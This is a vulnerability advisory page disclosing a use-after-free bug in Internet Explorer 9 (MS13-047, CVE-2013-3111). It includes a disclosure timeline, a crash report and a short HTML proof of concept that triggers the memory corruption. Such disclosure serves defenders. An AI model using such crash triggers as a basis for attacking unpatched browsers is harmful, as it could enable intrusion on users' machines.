This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. December 12th, 2016 MSIE 9 IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location use-after-free

MSIE 9 IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location use-after-free

(MS13-047, CVE-2013-3111)

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software, attack vectors and potential mitigations

  • Microsoft Internet Explorer 9

    An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html <!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=Emulate­IE7" > <script> function go() { document.exec­Command('Select­All'); document.exec­Command('superscript'); set­Timeout(function() { o­Sup­Element=document.get­Elements­By­Tag­Name('sup')[0]; o­Sup­Element.swap­Node(document.document­Element); }, 0); } </script> </head> <body onload="go()"> <address></address> <fieldset></fieldset> </body> </html>

Time-line

  • 27 September 2012: This vulnerability was found through fuzzing.
  • 3 December 2012: This vulnerability was submitted to EIP.
  • 10 December 2012: This vulnerability was rejected by EIP.
  • 12 December 2012: This vulnerability was submitted to ZDI.
  • 25 January 2013: This vulnerability was acquired by ZDI.
  • 15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
  • 27 June 2013: This vulnerability was address by Microsoft in MS13-047.
  • 12 December 2016: Details of this vulnerability are released.
Bug­Id report: Arbitrary AVW@IEFRAME.dll!CSelection­Interact­Button­Behavior::_Update­Button­Location(ZDZd)
id:             Arbitrary AVW@IEFRAME.dll!CSelection­Interact­Button­Behavior::_Update­Button­Location(ZDZd)
description:    Security: Attempt to write to unallocated arbitrary memory (@0x13369FD4) in IEFRAME.dll!CSelection­Interact­Button­Behavior::_Update­Button­Location
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
© Copyright 2019 by Sky­Lined. Last updated on September 9th, 2019. Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License. If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.